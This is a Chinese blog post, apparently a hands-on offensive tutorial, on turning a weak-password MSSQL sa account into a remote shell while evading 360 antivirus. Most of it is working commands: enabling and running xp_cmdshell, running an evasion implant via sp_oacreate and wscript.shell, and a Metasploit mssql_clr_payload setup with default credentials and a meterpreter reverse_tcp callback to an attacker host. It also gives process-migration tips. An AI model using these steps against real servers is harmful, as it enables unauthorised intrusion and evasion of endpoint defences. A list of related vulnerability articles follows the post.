MSSQL弱口令绕过某数字上线

简介: MSSQL弱口令绕过某数字上线

0x01 前言

朋友实战中遇到的场景:MSSQL弱口令,sa权限,安装有360全家桶,问如何绕过360上线?

根据他的叙述说明这个数据库是可以直连的,猜测应该是扫到的一台MSSQL弱口令的机器。这篇文章我将分享下他这种场景的一些绕过方式,只是给大家提供思路,算是抛砖引玉吧,大家自行发挥!

0x02 前期测试

内网扫到一台MSSQL弱口令,或者一个SQL注入,这时我们一般都会先判断是否为dba权限、xp_cmdshell组件是否可用?如果可用则直接执行命令提权。

    判断当前是否为dba权限,为1则可以提权
    select is_srvrolemember('sysadmin');
    查看是否存在xp_cmdshell
    exec sp_configure 'xp_cmdshell', 1;reconfigure;
    查看能否使用xp_cmdshell,从mssql2005版本之后默认关闭
    select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
    开启xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;
    关闭xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;
    执行命令xp_cmdshell
    exec master..xp_cmdshell 'cmd /c whoami'


    但如果目标主机有360时就一定会拦截,常见返回报错不是5就是拒绝访问。

    因为这个组件调用的是system32下的cmd.exe,360已经拦死了,这里没法绕过!之前文章中也有说过。

    sqlmap也一样,xp_cmdshell都是在sqlservr.exe进程下起一个cmd.exe子进程来执行命令和程序的,这也就是360拦截原因,检测了sqlservr.exe进程链。

    注:MSSQL堆叠注入执行多条SQL语句时必须加上;分号,否则无法正常执行,而客户端连接MSSQL数据库执行多条SQL语句时只需换行即可,不能用;分号,否则也可能无法正常执行。


    0x03 绕过方式

    (1) Godzilla

    利用哥斯拉“数据库Shell”功能连上这个数据库,然后将命令行模板中的cmd直接改为我们的免杀马。

    这时只需要在命令行下随便输入个字符回车执行即可成功上线,360全程无拦截。


    (2) sp_oacreate

    开启Ole automation procedures,并使用sp_oacreate存储过程调用wscript.shell组件执行命令,只需要将免杀马做为程序去执行即可成功上线,360全程无拦截。

      开启Ole automation procedures
      exec sp_configure 'show advanced options', 1;reconfigure
      exec sp_configure 'ole automation procedures',1;reconfigure
      执行命令sp_oacreate
      declare @o int
      exec sp_oacreate 'wscript.shell',@o out
      exec sp_oamethod @o,'run',null,'C:\ProgramData\360.exe'


      (3) mssql_clr_payload

      我们还可以利用MSF下的mssql_clr_payload模块来进行上线,该模块在执行时会自动开启CLR存储过程并将数据库标记为可信任等相关操作,360全程无拦截。

        use exploit/windows/mssql/mssql_clr_payload
        set rhosts 192.168.1.109
        set username sa
        set password 123456
        set payload windows/x64/meterpreter/reverse_tcp
        set lhost 192.168.1.120
        set lport 443

        这里可以看到CLR这种利用方式也不是调用cmd.exe执行的,没有创建任何子进程,而是直接运行在sqlservr.exe进程下了,所以360不会对其拦截!!!


        0x04 文末总结

        Godzilla、sp_oacreate这两种方式都是将我们的免杀马做为程序执行,没有调用cmd.exe执行,所以360也不会拦截,但如果做为参数执行肯定还是会被拦的。


        修改哥斯拉命令执行模板、EfsPotato插件将我们的免杀马做为程序执行上线MSF时建议加个进程迁移,否则执行后哥斯拉可能会卡住,执行不了任何操作

          set AutoRunScript migrate -f
          set AutoRunScript post/windows/manage/migrate NAME=notepad.exe


          注意:看到有师傅说这种方法也会被拦,不知道他是不是开了核晶模式?但我这里没有拦,不知道什么情况,大家在实战中自己多去测试下吧......!


          相关文章
          |
          SQL 供应链 安全
          泛微E-Cology ofsLogin任意用户登陆漏洞
          泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
          1375 1
          泛微E-Cology ofsLogin任意用户登陆漏洞
          |
          Web App开发 XML 安全
          ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)
          zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!
          2425 1
          |
          SQL Web App开发 XML
          广联达OA漏洞合集(信息泄露+SQL注入+文件上传)
          广联达Linkworks办公OA存在信息泄露,攻击者可通过此漏洞获取账号密码登录后台,造成其他影响。
          2881 1
          |
          网络协议
          解决方案-奇安信连接网关失败问题
          解决方案-奇安信连接网关失败问题
          5557 0
          |
          NoSQL 关系型数据库 MySQL
          泛微Ecology9+Emobile7部署
          泛微OA的平台化,相比之下,的确是很不错,为方便公司内部考勤,加班审批,报销等流程,这边采用泛微的E9
          6563 0
          泛微Ecology9+Emobile7部署
          |
          SQL 监控 druid
          Druid未授权访问 漏洞复现
          Druid未授权访问 漏洞复现
          19819 0
          |
          存储 域名解析 供应链
          阿里云 OSS对象存储攻防
          本文分为两个部分 第一部分介绍OSS对象存储攻防的方式 第二部分为真实漏洞案例
          3638 0
          阿里云 OSS对象存储攻防
          |
          Web App开发 XML 安全
          海康威视iVMS综合安防系统任意文件上传漏洞
          海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。
          1565 1
          |
          应用服务中间件 数据库连接 数据安全/隐私保护
          MSSQL绕过360提权实战案例
          MSSQL绕过360提权实战案例
          593 2
          |
          安全 测试技术 网络安全
          D盾防火墙安全防护绕过-[文件上传]
          D盾防火墙安全防护绕过-[文件上传]
          1344 0

          热门文章

          最新文章